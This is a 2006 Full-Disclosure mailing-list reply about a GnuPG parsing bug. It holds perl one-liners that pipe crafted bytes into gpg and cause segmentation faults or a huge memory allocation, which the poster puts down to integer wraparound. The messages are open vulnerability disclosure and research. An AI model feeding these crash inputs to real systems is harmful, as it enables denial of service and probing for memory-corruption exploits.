[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Re: [Full-disclosure] GnuPG fun



On Wed, 2006-05-31 at 15:55 +0400, Evgeny Legerov wrote:
> $ perl -e 'print "\xcd\xff\xff\xff\xff\xfe"'| /var/gnupg/bin/gpg --no-armor
> gpg: /home/ggg/.gnupg/options:82: deprecated option "honor-http-proxy"
> gpg: please use "keyserver-options http-proxy" instead
> 
> gpg: Segmentation fault caught ... exiting
> Segmentation fault

Something wrapping around?

$ perl -e 'print "\xcd\xff\xff\xff\xff\xaf"'|gpg --no-armor
gpg: out of  memory while allocating 4294967295 bytes

$ perl -e 'print "\xcd\xff\xff\xff\xff\xb0"'|gpg --no-armor

gpg: Segmentation fault caught ... exiting

4294967295 is 0xffffffff, of course.

Also works with gpg2 (v.1.9.20)

Cheers
Steffen.

Attachment: signature.asc
Description: This is a digitally signed message part

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/